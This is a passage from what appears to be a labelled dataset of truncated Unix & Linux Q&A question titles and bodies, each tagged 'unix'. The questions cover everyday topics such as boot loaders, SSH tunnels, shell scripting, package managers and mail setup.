fresh sdb and sdc ... ",['unix'] "Title: How to run Emacs nnrss-* commands Body: Specifically, I want to run nnrss-opml-import command, which should import an OPML file. Trying to run the command with M-x nnrss-opml-import tells me the command doesn't exists. I want to experience ... ",['unix'] "Title: Why do most distributions chain UEFI and grub? Body: Most distributions install a additional boot loader on an UEFI system. UEFI itself is a boot loader, it offers a menu to select different operating systems or individual kernels. Furthermore, the UEFI ... ",['unix'] "Title: With which user should I run web servers, redis & mongodb? Body: On this VPS there are three users: root, another_one, nobody. All webserver files, configs, &c. are owned by root. However, I'm in doubt for what regards running things. If I use root for the web ... ",['unix'] "Title: EBS Volumes Mounted On Wrong Directory After Reboot Body: I have three EBS RAID 10 volumes in my /etc/fstab on an Amazon AMI hosted with AWS/EC2... Everytime I reboot the instance, the volumes get mounted to the wrong mount points. Any ideas on how I can ... ",['unix'] "Title: How to generate just a key with openssl Body: I run this command to generate a CSR and a new key with openssl: openssl req -new -nodes -days 9000 -config /etc/ssl/openssl.cnf -out /etc/ssl/certs/mycompany.com.csr -keyout ... ",['unix'] "Title: Linux embedded: change time zone Body: I'm working on an embedded system with linux. I'm trying to change the timezone used by the operating system and I'm doing this by copying the timezone file from /usr/share/zoneinfo to /etc/localtime ... ",['unix'] "Title: Permission in shmget Linux Body: I've been searching about 0666 permission in shmget(). I know that 0666 permission will grant read & write permission on the shared memory segment. But, how do I prove it have permission if I ... ",['unix'] "Title: How to recreate EFI boot partition? Body: I've installed Fedora on my machine with / partition, swap partition and ESP partition for EFI booting. Now, I was installing Elementary OS instead of Fedora. I have formatted the / partition ... ",['unix'] "Title: Root not affected by file permissions? Body: Why does this work as root? # touch test1 # chmod 000 ./test1 # echo ""test"" > ./test1 I take it root is not affected by file permissions? ",['unix'] "Title: $ORIGIN directive in IPv6 zone files Body: I have often seen similar BIND zone files: $ORIGIN 2.0.3.0.8.b.d.0.1.0.0.2.ip6.arpa. $TTL 604800 @ IN SOA ns1.example.org. hostmaster.example.org. ( 1978022513 ; Serial 10800 ... ",['unix'] "Title: creating archive using tar including all 'dotfiles' but excluding all subdirectories and /wo directory structure Body: I want to backup all the 'dotfiles' (f.e. .zshrc) under my home directory with tar, but excluding the directory structure and all subdirectories. I've tried it several times with different commands, ... ",['unix'] "Title: Solaris/OpenIndiana: Good documentation for permission-mechanism - roles, profiles and auths? Body: Are there any good documentation, HOWTOs or books (preferably free and online) describing the permission-mechanism for Solaris/OpenIndiana? How auths, profiles, roles, projects, groups and users ... ",['unix'] "Title: Solaris/OpenIndiana: Password for roles? Body: I've been gently experimenting with roles in Solaris, and wonder a bit about setting a password for it. I want the role I've created to be used by several users, so setting password to the same as ... ",['unix'] "Title: PDF reader for OpenBSD that has default disabled JAVA/JavaScript/etc.? Body: I'm searching for a PDF reader that doesn't supports Java, JavaScript in PDF files (and other unneeded things what is only used in 1% of the PDF files, but can cause security issues). Or there isn't ... ",['unix'] "Title: Can the ~/.john/john.pot file be used forever? Body: If I use john for getting weak passwords in ex.: 2010, then can I use the john.pot file later or there could be situations when the hash is the same, but the passwords differ? ",['unix'] "Title: how to invoke vim with line numbers shown Body: I know that from inside vim the command to display line numbers is :set number. Is it possible to invoke vim so that line numbers are shown from the beginning? ",['unix'] "Title: Installing firefox in debian 7 Body: I'm new the Debian 7, I can't install my mozilla firefox, can someone recommend me a working way to install it properly. Thank you in advance. ",['unix'] "Title: Initramfs post-update hook Body: I need an initramfs hook to call a script after an initramfs has been generated. The Debian Linux Kernel Handbook mentions /etc/initramfs/post-update.d/: Packages for boot loaders that need to be ... ",['unix'] "Title: Installing a .deb package on Arch - Is it possible? Body: The problem is simple - I have a .deb package and I want to install it on my Arch Linux. Is this possible? If yes, how? ",['unix'] "Title: Problems with USB goflex 2 TB Body: I am using CentOS 5.5 and have been using cpio to write backups to a 2 TB GoFlex USB drive. This drive worked great for over a year, but am now running into a problem and not sure what to do. When ... ",['unix'] "Title: How to property configure DNS . . . from a conceptual perspective Body: I'm not looking for actual tools or techical how to type answers here. I'm in a complex networking environment, and I'm trying to understand the constraints on my choice of a hostname / domain / DNS ... ",['unix'] "Title: Can't play games fullscreen, Only see black but can hear them Body: I have installed several games from steam, but when I open all of them they go to full screen and the screen is black. I can hear the sounds of the game but can see nothing. My GPU is a AMD Radeon ... ",['unix'] "Title: chowning each home user to itself recursively Body: Okay so I have about 100 directories in my home folder each owned by the home user itself. Sometimes I have to manually replace some files as root so the permissions are disturbed and some files are ... ",['unix'] "Title: Get my country by IP in bash Body: I want to use the name of the country where I am now in a bash script. I can get the external IP using next command: curl ifconfig.me But how can I get my country name? ",['unix'] "Title: How to fix weird vim polluting the terminal behaviour on arrow keys and on delete in insert mode? Body: My terminal gets polluted by B, C,A,D when I try to navigate within vim using arrow keys and on delete using backspace it only scrolls back without deleting the characters on screen while the ... ",['unix'] "Title: Scheduling cronjobs at specified time Body: I have scheduled some jobs in crontab which are to be run one by one, at some specific time. My script for crontab is : 15 10 * * * /Users/sri/files/BatchFF.sh 45 11 * * * /Users/sri/files/BatchGC.sh ... ",['unix'] "Title: Apache refuses to start on any port Body: I can't seem to get Apache to start on any port. I'm always getting the error: apache2(98)Address already in use: AH00072: make_sock: could not bind to address [::]:80 I checked to make sure that ... ",['unix'] "Title: How can I create my own distro and include a custom kernel & packages? [closed] Body: I wanted to know how to add packages to the Linux kernel and then package it to a ISO or CD for friends. Thanks in advance and please don't point me to LFS - Linux From Scratch! ",['unix'] "Title: Diff the output of the last two commands Body: I frequently find myself doing something like the following: $ big long command 1 $ big long command 2 $ diff -u <(big long command 1) <(big long command 2) How can I get the shell (bash in ... ",['unix'] "Title: Parse XML to get node value in bash script? Body: I would like to know how I can get the value of a node with the following paths: config/global/resources/default_setup/connection/host config/global/resources/default_setup/connection/username ... ",['unix'] "Title: Maintain different Dropbox locations for one Dropbox account on different hosts Body: We've got a user who is asking if it's possible to keep two config.db's, and use one or the other based on the host name, for the same Dropbox account (not two Dropbox accounts). For example: ... ",['unix'] "Title: Linux accessing a Windows server proxy.pac script Body: I'm using a Slackware 14 VirtualBox guest on Windows 7 behind a work proxy. Having battled a bit with network settings I've gotten to the point where I can browse the web in Firefox by using the ... ",['unix'] "Title: How to keep dotfiles system-agnostic? Body: Due to work I have recently started using OS X and have set it up using homebrew in order to get a similar experience as with Linux. However, there are quite a few differences in their settings. Some ... ",['unix'] "Title: what is meant by multiprocessing and how it works? [closed] Body: what is difference between cores, CPU, threads and processor on linux system ? please explain the difference ",['unix'] "Title: Which process has PID 0? Body: I'm looking for the process started in Linux which has process ID 0. I know init has PID 1 , which is the first process in Linux, is there any process with PID 0? ",['unix'] "Title: FreeBSD reboots during install and leaves invalid install Body: I just downloaded the most recent FreeBSD CD image, and put it in VirtualBox. It looks like it installs fine but then it reboots and boots from the CD image again. When I make it boot from the ... ",['unix'] "Title: Redirecting mail to Gmail Body: I'm trying to set up the redirection of all emails to my VPS to my Gmail account because it's easier to handle. At the moment though, it is not working, and I can't see why. I have tried a few ... ",['unix'] "Title: Does kernel: EDAC MC0: UE page 0x0 point to bad memory, a driver, or something else? Body: kernel: EDAC MC0: UE page 0x0, offset 0x0, grain 0, row 7, labels "":"": i3200 UE All of a sudden today, our CentOS release 6.4 (Final) system started throwing EDAC errors. I rebooted, and the errors ... ",['unix'] "Title: How to run a script after connected with ssh Body: I've heard multiple answers of rights and wrongs and I still don't know if its possible. I ssh to a server then want to run a block of script. while read server <&3; do #read server names ... ",['unix'] "Title: USB Dongle Not Working - Debian Wheezy, Cambridge Silicon Radio Body: I can't get my USB dongle to recognise my USB keyboard. I have tried both on Windows and they work suggesting it is a linux issue. The scan function simply never finds the keyboard. Also, hciconfig ... ",['unix'] "Title: How can I stress test a command line tool? Body: I'd like to try to stress-test a PHP script I've written, which accesses the filesystem, to see how it copes with load and parallel access. I'd like to run this script x times in y different ... ",['unix'] "Title: iceweasel (firefox) browser re-installation Body: I uninstalled my browser (iceweasel) from Add/Remove Software option in Kali Linux.At the time of removal it asked for one dependent package also to be uninstalled that I don't remember. But now when ... ",['unix'] "Title: Resize partitions with gparted Body: Hey I'm trying to resize my boot partition and eventually my lvm partition. I currently have: /dev/sda1 ext2 243M /dev/sda2 extended 7.76G unallocated 17G Ideally I'd ... ",['unix'] "Title: Is there a way to disable a plasmoid toolbox that pops up while mouse is over the widget/plasmoid? Body: When you hover any plasmoid, a vertical toolbox appears to the left. The toolbox contains the resize, refresh, settings and remove buttons. Is there a way to remove this small panel appearing on every ... ",['unix'] "Title: How to pipe diff into Kompare? Body: I want to quickly compare files in two different directories to see if the files are the same (same content). I want to see the results in Kompare (I'm on KDE - Kubuntu 12.04). Here's my diff ... ",['unix'] "Title: reverse extending the LVM group volume Body: I accidentally extended the volume to utilized 100% free disk space on LVM group volume. I need it to utilized only /dev/sdb disk but it took free space from both disk, since they were on the same ... ",['unix'] "Title: Installing cppman Body: I've tried to install cppman in Fedora 19 or Linux mint 15 and it installs successfully. But when I try to use it I get the error: Python IOError: [Errno 13] Permission denied I've installed it in ... ",['unix'] "Title: How do I increase my root volume Body: I have a server using software RAID (raid1) and I need to increase my volume on my root partition. I've been googling around with no luck of finding out how I can do this. I have 2x1TB RAID1. My df ... ",['unix'] "Title: Trying to send HTML mail on mac OSX Mountain Lion Body: I'm trying to send email with an html file as the body (it's actually a cucumber results report if that matters) or an attachment (if sending it as the body does not work) via the command line I've ... ",['unix'] "Title: port forwarding to internal lan server Body: I've ppp0 --> eth1 and eth0 (internal lan). I need forwarding externel 10022 port to port 8999 of the server 192.168.1.254 iptables -t nat -A PREROUTING -p tcp -i ppp0 --dport 10022 -j DNAT --to ... ",['unix'] "Title: Run a sudo (or startup) python script from cron on a Raspberry Pi? Body: I'm helping out with an art project (http://stargateeggbeater.com/ for those interested) built on Raspberry Pi. The RPi controls an addressable LED strip through the GPIO, using the spidev device per ... ",['unix'] "Title: Why there are so many problems with the overheating and fan speed when installing Linux? [closed] Body: I don't understand it. Almost every 10th or 20th question is about fan or overheating or that the fan is too loud and the speed too big etc. And these questions are not only about laptops but often ... ",['unix'] "Title: How to get the id of a very short child process if the parent is known? Body: I'm looking for a way to get the PID of a short child process in Linux. The process is instant from a human perspective. I know the parent process which will spawn the child process. Is there a way ... ",['unix'] "Title: How to know driver names? Body: Is there any general way to know the name of the driver of all the devices on a linux machine? For example, I want to know the name of my network interface driver and the name of my webcam driver. How ... ",['unix'] "Title: How to have a pop-up window for password appear when opening application? Body: We have build wireshark adding some functionality related to our use, in Scientific Linux 6 system. After this when I start this using normal user, it will not allow me to use the network interface. ... ",['unix'] "Title: traceroute with explicit gateway selection Body: I have a router (running Linux) that is connected to two ISPs, the routes are selected using BGP, however, I would like to ping/trace each connection separately. The standard traceroute command seems ... ",['unix'] "Title: How to revert direction for last parameter shortcut? Body: I can append a last used parameter via the keyboard shortcut Alt + . yet sometimes, I type too fast and miss my actual target. If I wanted to go back one instance, is there a way to do it? I ... ",['unix'] "Title: difference between install from Live CD and Live DVD Body: While I am trying to download the CentOS Live CD for the installation I have gone through something very new to me.Install from a Live DVD. up to now I have just gone through Live CD but whats the ... ",['unix'] "Title: Remove last character from line Body: I want to remove last character from a line: [root@ozzesh ~]#df -h | awk '{ print $5 }' Use% 22% 1% 1% 59% 51% 63% 5% Expected result: Use 22 1 1 59 51 63 5 ",['unix'] "Title: How to write out the next 3 or X days with a command? Body: I can give the day for today in a command: TODAY=`date +%Y.%m.%d.` but how can I give out the next 3 or X days in a command? (Ubuntu 12.04) ",['unix'] "Title: Log in using a 4-digit PIN, with a password fallback Body: Windows 8 has this feature where you can log in with a 4-digit PIN which is really convenient. Is there such a thing in Linux? In Windows 8, you get five attempts to log in using the PIN, then it ... ",['unix'] "Title: Why use linux, and which one should I use? [closed] Body: maybe this question may seem a little bit odd here, but I would like to ask it to people that actually got some knowledge and use this system. Should I use linux? If so, which one would you consider ... ",['unix'] "Title: Understanding btrfs dmesg Body: Based on the documentation I found at https://btrfs.wiki.kernel.org/index.php/Data_Structures I am strugeling to understand the following dmesg [ 173.946830] device fsid ... ",['unix'] "Title: Linux Mint 14 - Segfault in steam.sh (cannot launch steam) Body: Here is my output when I try to launch steam: tetra@nick-Inspiron ~ $ steam Running Steam on linuxmint 14 64-bit STEAM_RUNTIME is enabled automatically Installing breakpad exception handler for ... ",['unix'] "Title: How to grep for text in a file and display the paragraph that has the text? Body: Below is the text in the file: Pseudo name=Apple Code=42B state=fault Pseudo name=Prance Code=43B state=good I need to grep for ""42B"" and get the output from the above text like: Pseudo ... ",['unix'] "Title: what is a background process? Body: Here is a common definition of a background process: ""A background process is a program that is running without user input. A number of background processes can be running on a multitasking operating ... ",['unix'] "Title: What does the eth0 interface name mean in Linux? Body: What do the Linux interface names mean? eth0 eth1 wlan0 My current assumption is that when we are connected to the Internet via LAN cable it's eth0 or eth1 and when we are connected with internet ... ",['unix'] "Title: Does the order of partitions matter much? Body: I've just ran a test install of Arch on a separate computer, and now I'm ready to do the real thing on my main one. However, since the guide didn't explicitly recommend it, I did not install with a ... ",['unix'] "Title: How to open OLE2 Compound Document Storage database? Body: I have file called Thumbs.db that I seem unable to open with anything. SQLite Database Browser can't do it, nor can LibreOffice Base. Opening up the file properties tells me it's an 'OLE2 Compound ... ",['unix'] "Title: Qualcomm based modem Venus converted to ttyUSB0 but not responding forever on fedora 18 Body: I've one usb modem qualcomm based, here is my configuration what I've done in the past. wvdial # wvdial phone --> WvDial: Internet dialer version 1.61 --> Cannot get information for serial ... ",['unix'] "Title: Why does ln -sf silently fail? Body: ln -sf source_file target_file succeeds even when source_file does not exist. ln -f source_file target_file on the other hand fail, as expected. How can it be tuned to give error on the first case ... ",['unix'] "Title: Unable to access http service intranet Body: I'm not sure if this is the right place, if this is the case I will move the question with no problem. I'm setting up a web server for testing Wordpress. Everything works fine if I try to access the ... ",['unix'] "Title: non-smooth fonts in Fedora's gnome Body: I don't know is that only my problem or not but I have a little eyestrain when using Fedora (19) with Gnome 3(.8) compared to Ubuntu, Linux mint or Windows. Maybe the problem is caused by font ... ",['unix'] "Title: Fedora's command-not-found doesn't work [duplicate] Body: I've recently installed Fedora 19. Packagekit-command-not-found is installed. But it's own examples doesn't work. When I enter gedti the output is: bash: gedti: command not found... Similar command ... ",['unix'] "Title: USB3 drive plugged in to PC makes computer hang on “welcome to grub” Body: I have a Seagate 2TB USB2 hard drive, ext4 formatted. If I plug it in to my system and boot, PC gets stuck at ""welcome to grub"". If I restart without the USB drive plugged in, the system boots ... ",['unix'] "Title: No USB 04b4:0307 microphone input after Ubuntu 10.04 Body: I was very happily using VOIP SIP with Ubuntu 10.04. Since I upgraded to 12.04, not only has Ekiga become very buggy and inconvenient, but, the subject matter of this question: the microphone of my ... ",['unix'] "Title: Use time ,timeout and ulimit commands properly Body: I'm running a command in CentOS and at the same time I want to do 2 things: write the run time of the command to a file and set a time limit which stops the command I implemented the first one ... ",['unix'] "Title: GNU `tar` runs `stat` on an excluded directory. Is it normal? Body: I'm running tar as root like this: cd / tar --create \ --verify \ --exclude-backups \ --exclude-caches \ --auto-compress ... ",['unix'] "Title: Allocated Memory difference in xen guests after using Linux 3+ kernel [closed] Body: Can someone explain to me why there is a memory difference in Guests with the same configuration? Hypervisor: xen 4.2 64 bit VM1: Centos 5.7 with 2.6.18-274.el5xen Assigned memory from xen is ... ",['unix'] "Title: Samba Shared Folder Body: I want to share a folder on my RHEL to all windows users. My requirements are: users need to access from windows users need read only access no authentication required What I have tried: Samba ... ",['unix'] "Title: Why yum's download speed is too slow Body: My yum download speed in fedora is in average less than 5KB/s and goes to less than 1KB/s but my normal download speed is around 140KB/s. I tried installing yum-fastestmirrors but didn't help. Any ... ",['unix'] "Title: How to manage TMUX sessions via files? Body: I'm finding the way to automatically save TMUX-session in file when I reboot my computer, and also I want TMUX to restore session from file if it's exist on start. Now I'm using the same method with ... ",['unix'] "Title: Can't send mail with sendmail Body: I use SENDMAIL, I noticed that none of my mail is sent. I have all my mail in the /var/spool/mqueue when I looked at the log and I have this error MDeferred: Connection refused by ... ",['unix'] "Title: Unable to force passphraseless ssh authentication while port forwarding Body: I'm completely at a loss as to what is preventing my local machine from authenticating the connection that is being forwarded from the remote server. I've read a ton of the posts on here regarding ... ",['unix'] "Title: How to “mute” ls command? Body: Suppose I do a recursive ls $ ls -R on the root directory. I get a lot of messages like these - ls: cannot open directory ./var/lib/sendmail: Permission denied ls: cannot open directory ... ",['unix'] "Title: add server name before filename with uname -n Body: Here is my command in my script: mv -f -v $oldfile /infanass/dev/admin/backup/${oldfile##*/}_$(date +%F-%T) Right now the output is: file1.txt_2013-07-11-15:08:16 I want the server name to show ... ",['unix'] "Title: Duplicate udp packets received by user space process Body: I have 2 processes on the same Linux box connecting with the same UDP multicast channel and port combination. The 2 processes use the same network card as the interface for send and receive. Each ... ",['unix'] "Title: How to use AWK record separator? Body: Here is the input: * true, false, yes, no, always, never. * ******************************************************************************* default: su = true ... maxexpired = ... ",['unix'] "Title: How can I work around the program failing if there is *any* stdin? Body: For example, the following works fine: /usr/bin/program It produces some output, and gets to result. But if I invoke it like this: echo -n | /usr/bin/program or this echo -n | bash -c ... ",['unix'] "Title: Packaging MATLAB Body: I have decided to try and package MATLAB for Arch Linux. The MATLAB program consists of a core program and a number of add on toolboxes. I would like to create a different independent package for each ... ",['unix'] "Title: How to check Grub2 config file? Body: When I boot my Fedora 19, I get a very brief error message when Grub2 loads. It's too quick to read, as it switches to the graphical mode almost instantly. My idea is to test the config file. I ... ",['unix'] "Title: Use of different disc drives for Operating Systems Body: I have a desktop with Windows on it and am wanting to install Fedora on one of the other disc drives I have due to room on the current C drive which is a 60GB SSD. Is something like this possible? ",['unix'] "Title: why is df update slow? Body: When I remove large files, then use df to check the disk usage, often it takes a noticeable amount of time to update the disk usage percentage appropriately. This affects several data management ... ",['unix'] "Title: Why is root login via SSH so bad that everyone advises to disable it? Body: Everybody on the Internet advises to disable root login via SSH as it is a bad practice and a security hole in the system, but noboyy explains why it is so. What is so dangerous in enabling root ... ",['unix'] "Title: df command not showing correct values Body: This is a RHEL server, I'm running a MySQL server on it, the database and log files (however, logging is disabled) are located on the /srv directory where plenty of space is available. Recently I had ... ",['unix'] "Title: Installed Win7 after Ubuntu, Win removed Ubuntu boot option [duplicate] Body: Completely 100% new to Linux. I recently partitioned my drive to run Windows and Ubuntu simultaneously. Ubuntu installed fine, but then I installed Win7 and suddenly Ubuntu disappeared from the boot ... ",['unix'] "Title: Where does Firefox store its cookies on Linux? Body: Where does Firefox store cookies in Linux? I searched everywhere but did not find anything. ",['unix'] "Title: Tmux ranger integration: opening text files in new panes Body: Here we have some amazing tools: tmux, ranger, vim... Would be amazing to configure ranger to open the files (when text editable) in a tmux newpane? Is that easy and how it is done? ",['unix'] "Title: SFTP over reverse SSH tunnel? Body: I want to SFTP to a remote computer that is behind NAT. I can't modify the NAT router, so I have set up a reverse SSH tunnel using a middleman server. Here's what my SSH tunnel looks like: ... ",['unix'] "Title: How can I use tee and logger -t “some tag:”? Body: I've seen in another post which shows how to use tee and logger as shown below. tee >(logger) <<< ""System Load is OK : $Current_loadadv"" >(logger) is bash syntax to create a file ... ",['unix'] "Title: Why is that when I download a binary from the web it doesn't have executable permissions set, but when I use gcc to build a binary it does? Body: For example, if I have the file hello.c which just contains: int main() { printf(""Hello world""); return 0; } and I built it in gcc with gcc hello.c -o hello I can then run ./hello and it ... ",['unix'] "Title: Tab autocomplete for files with spaces in it [closed] Body: How do I tab autocomplete for files with spaces in it? Thanks. ",['unix'] "Title: Yum Returns Errors when using Body: When I try to use Yum (e.g. # yum update) I get an error and it prevents me from using Yum. Any help on this would be really cool! This is the error that I get when I try to run a Yum command: # yum ... ",['unix'] "Title: Is it possible to copy data from one screen session to another? Body: I recently needed to copy X amount of lines from a file, that I opened in vim and then paste them to another file opened in a different screen session (and different server). So on screen #1 I ran in ... ",['unix'] "Title: Cannot use Yum on CentOS Body: I am using CentOS. The problem that I am getting is that whenever I try to use Yum (e.g. ""yum update). This is output that I get whenever I try to run most yum commands: yum update Setting up Update ... ",['unix'] "Title: problem reading and comparing files using nested loops [closed] Body: while read newfile <&3; do if [[ ! $newfile =~ [^[:space:]] ]] ; then #empty line exception continue fi # while read oldfile <&3; do if [[ ! $oldfile =~ [^[:space:]] ... ",['unix'] "Title: Showing type of newline character in Emacs Body: How can I have Emacs display the type of new character? I am looking for something similar to what Notepadd does (see below). I read that Emacs comes with M-x whitespace-mode but this doesn't seem to ... ",['unix'] "Title: Linux signals logger Body: I'm looking for a signals logger for the Linux kernel, without patching of kernel. I found many articles with patching, but I am not interested in that. I'm running default Ubuntu 13.04. # uname -a ... ",['unix'] "Title: Read the output of a command into a variable [duplicate] Body: I am making a bash script but I'm totally new and got lost. I've made this code cat * | grep ""|*parameter1*|"" | grep ""|*parameter2*|"" | cut -f 8,11,12,15,21,23,34 -d ""|"" | wc -l which works just ... ",['unix'] "Title: Why is my graphical desktop running on TTY1 Body: I recently installed gnome-shell on my new Archlinux and X is running on TTY1. Is this is a normal behaviour? screenfetch -` .o+` ... ",['unix'] "Title: Keyboard shortcut in Eclipse to commit via KDESVN Body: I want to be able to do something like Ctrl + Up in Eclipse which would trigger bringing up the commit window on the root of a given project in KDESVN. Any ideas? ",['unix'] "Title: When wouldn't one want `cp` to be recursive? Body: Under what conditions might one wish to use the cp command on a directory yet have it not be recursive? Consider: $ tree . └── old └── inner └── a.txt 2 directories, 1 file $ cp ... ",['unix'] "Title: Samba test setup with only one physical box Body: I have CentOS 6.4 i386/686 installed on its own. I'd like to test out Samba 4 running as an AD DC. If I don't have another spare box to use in the lab, is it possible / does it make sense to install ... ",['unix'] "Title: Where do I find versions of Turnkey linux made to run on 32 bit Virtual Box? Body: What I found on the main site turnkeylinux.org/core is the file turnkey-core-12.1-squeeze-amd64-vmdk.zip which I suppose is for 64 bit OSes(corrections accepted..). ",['unix'] "Title: sendmail through virtual machine Body: I am successfully performing some very basic SMTP sending in my machine with a basic Python script: .... things ... try: smtpObj = smtplib.SMTP('localhost') smtpObj.sendmail(sender, recievers, ... ",['unix'] "Title: Missing “Run in terminal” in KDE Body: I switched to KDE from Gnome after seven years using the latter. I have everything configured already but I'm missing one option: the run in terminal prompt, when executing a script double clicking. ... ",['unix'] "Title: How to download the latest file in a folder using a scp? Body: I'd like to run an scp transfer to download the latest (newest) file in a certain directory to my local directory. Something like this: source: root@rimmer.sk:/home/rimmer/backups/ destination: ... ",['unix'] "Title: Sound doesn't work in x, but does in virtual terminal Body: I've just installed Fedora 19, bringing over my home directory. I've disabled graphical boot, instead I get dumped to a virtual terminal. I use xmonad instead of gnome3. weird phenomenon #1 In a ... ",['unix'] "Title: Prevent access to files on linux file server Body: I have a linux system running Debian Wheezy stable on it and am using it as a file repository (not a true file server because I am using BitTorrent sync to move files as I move around the world). Some ... ",['unix'] "Title: putty connection works but ssh command line refuses password authentication Body: I'm struggling quite a lot around ssh tunnels today. First, here is my configuration: My local machine, a PC with windows XP (ip=l.l.l.l) My remote server, with a CentOs 5 installed (ip=x.x.x.x) ... ",['unix'] "Title: Are there versions of Unix that don't have awk in default install? Body: Are there versions of Unix that don't have awk installed by default? I am fine with an answer containing some really old outdated Unix variant which predates awk's creation; but would ideally prefer ... ",['unix'] "Title: Read and parse XML input via TCP [closed] Body: I'm setting up something where I'll need to be able to setup a service that accepts input on a TCP port and then parses the XML provided and extracts the necessary data, then posts that to Google's ... ",['unix'] "Title: Can't access command history in my shell (sh) Body: I'm not sure if readline is what really missing but the problem is shell (instead of bash) and when I click the up and down arrow I get the following instead of command history: $ ... ",['unix'] "Title: How to restrict an SSH tunnel to a certain outbound IP address on an SSH server? Body: I hope I'm phrasing this question correctly. I have a SSH server that I use for testing that has 2 internet connections running on it. The LAN connection is always on, but the USB connection is on ... ",['unix'] "Title: When running to a run level does it execute previous run levels? Body: If I tell my system to go to run level 3 does that mean that it first runs through run level 0, 1, 2, and then finally runs through run level 3? I thought the answer to this question was yes. But ... ",['unix'] "Title: What is the recommended way of checking running services? Body: I'm often exposed to various GNU/Linux systems including CentOS, SLES and Debian. I want to know: what is the recommended method of checking all running services across these systems? I am aware of ... ",['unix'] "Title: Bash expansion of ${@} as command Body: I have a parent script while read cmd do nohup ./script ${cmd[@]} &>> log & done < ~/list that executes this child script while true do eval ""${CMD[@]}"" #${CMD[@]} ... ",['unix'] "Title: View permission / owner of full directory tree Body: I remember doing someting like ""XXX /home/user/dir/child/file"" and it returned the owner and/or permission of: /home /home/user /home/user/dir /home/user/child /home/user/child/file But I don't ... ",['unix'] "Title: Multiple screens on debian Body: I have two screens on my computer, but they all show the same image (i.e I can't activate dual screen). I saw on some blogs that I need to configure xrandr for this, but it fails to do so. Here is ... ",['unix'] "Title: Get the name of the physically (on front of pc) logged in user, reliably! Body: w, who, id and whoami are excluded, because they only give information about users using a tty. Is there a way to extract the name reliably from KDM? ",['unix'] "Title: how to find the type of img file and mount it Body: I have to mount a .img file but I don't know what type of .img it is. How can I figure out what type of .img file it is? # mount -t auto -o ro,loop gmapsupp.img /mnt/iso/ mount: you must specify the ... ",['unix'] "Title: CentOS - Issue with write permissions Body: I am running CentOS 6.4 and I have installed Wordpress on it. (along with LAMP) Now the problem is, that I cannot make any write changes to any files in the wordpress editor: eg. header.php, ... ",['unix'] "Title: How to password-protect a script on Linux? Body: How do you set a password to execute a command or script in Linux? I need to avoid a script (in which user and password details are included) from being used/executed from unauthorized users. So is ... ",['unix'] "Title: Define custom DNS server when looking up host Body: I'm having trouble with my current web host's DNS server which doesn't correctly resolve IP addresses for Baidu. shell_exec('host -W 2 180.76.5.168'); shell_exec('nslookup 180.76.5.168'); Is there ... ",['unix'] "Title: Is there a grep switch that reads a file for filter terms? Body: Assuming file a.txt has: 1a 2b 3c 4d so grep ""1"" a.txt would return: 1a and grep ""3"" a.txt would return: 3c what if i want to put a criteria file named crit.txt with the following ... ",['unix'] "Title: Remote support: routing RDP over ssh tunnel? Body: I want to replace TeamViewer with a FOSS solution. I need to support some remote computers. I have a working SSH tunnel set up between two computers using a middleman server like this: ... ",['unix'] "Title: How to setup keyboard shortcut that enters predefined text into X11 xterminal via SSH from mac OS? Body: I do a lot of remote programming on my CentOS linux server by opening an X11 xterminal window on my Mac OS, and SSH into the server. I'm looking for an easy to use method to enter a predefined text ... ",['unix'] "Title: How can I split a pipe into 16 byte sequences? Body: I'm writing a bash script to automate the decryption of a certain file; however the file is encrypted in 16 byte blocks, rather than simply encoded in its entirety. Here's some psuedo code to briefly ... ",['unix'] "Title: removing kernel modules not working for some modules [closed] Body: unfortunately i couldnt install a machine with minimal installation as a virtual machine ,so i am trying to prevent loading of unwanted modules from kernel using blacklist file. Added following to ... ",['unix'] "Title: How can I set up byobu to use a second screen session on login? Body: tl;dr: I have an irssi proxy screen session running in the background. I'm running byobu -R -S byobu;exit in ~/.bash_profile to start a second session instead of reconnecting to the irssi session, but ... ",['unix'] "Title: how to setup: proxy with confirmation of rules for browsing internet Body: I'm trying to achieve something like acceptance of rules before user gets connected to the internet. For example: when users enters address http://google.com (or any other) first thing he will see is ... ",['unix'] "Title: Application launcher with grid like hotkeys Body: Is there a desktop enviroment or tool wich can provide the following functionality? If I press a self defined hotkey, a menu of self defined shortcuts/launchers is shown somewhere on the screen where ... ",['unix'] "Title: Squid doesn't block non-ascii domans Body: I have the following lines in /etc/squid/squid.conf: acl bad_url url_regex ""/etc/squid/block.acl"" http_access deny bad_url All of the urls in block.acl must be blocked by the proxy server. It works ... ",['unix'] "Title: Grep and regex, Why does the following return only a specific portion? Body: Why in the following: echo this is a line. | grep -o -E ""[a-z]+\."" The result is line. and not this is a line.? There is no word boundary or any other restriction on the regex. ",['unix'] "Title: Running (X) Xfce4 in Debian chroot Body: I was trying to start Xfce4 in a chroot. The problem is that Xfce4 starts, shows default the UI but the USB keyboard and mouse are not working. My chroot script: #!/bin/bash mount --bind /dev ... ",['unix'] "Title: Stereo “tone-generator” for linux? Body: Is there something like a stereo (separate left-and right-channel) tone-generator for Linux? Where you can set volume and tone/pitch for each channel, and preferably also set the wave-form (sine, ... ",['unix'] "Title: Ping a list of IP addresses and outputing duplicates Body: In Linux how can I ping a list of IP addresses (in a text file) and only output those that have duplicate ping replies? ",['unix'] "Title: pgModeler installation - Dependencies error Body: I'm trying to install the pgModeler. But I'm getting stuck. I have pgModeler at /opt/pgmodeler-0.5.2/ I have all the dependencies: Qt 5.0, Pg and the others. When I run the pgmodeler with ... ",['unix'] "Title: Minimal MTA that delivers mail locally (for cron)? Body: On my laptop, I have set up a cron that performs a weekly job. If there is something to report, I would like to get an e-mail for it. Right now I am using KMail as MUA which is able to read mail from ... ",['unix'] "Title: Pip install - CPU you selected does not support x86-64 instruction set Body: I'm trying to use pip install mysql-python inside a virtualenv container and am getting the error building '_mysql' extension gcc -pthread -fno-strict-aliasing -O2 -g -pipe -Wall ... ",['unix'] "Title: Multiple PHP Versions / cPanel with mod_fcgid Body: I'm trying to get multiple PHP versions working on a cPanel server which was compiled with mod_fcgid and PHP 5.3. Below is the PHP config generated by cPanel. AddHandler fcgid-script .php5 .php4 ... ",['unix'] "Title: Line match to trigger specific argument Body: I have a file with 2 types of contents as below. QJKLJFLHLKJDGFIUD 03:12:23 JHKJFDGDSFGDFGHDF 03:15:45 HJIK ASDSdSADSADSSADSA 03:30:34 DFDF KWQA I have 2 binaries. One is on the local ... ",['unix'] "Title: Bash: slice of positional parameters Body: How can I get a slice of $@ in Bash without first having to copy all positional parameters to another array like this? argv=($@) echo ${argv[@]:2}; ",['unix'] "Title: Check for, and add, missing timestamps to individual lines in a file Body: I have a file in the following format: ABCD 01206001022T01YA022T01YA022T07SO 09:20:38 ABCD 01206001022ACION 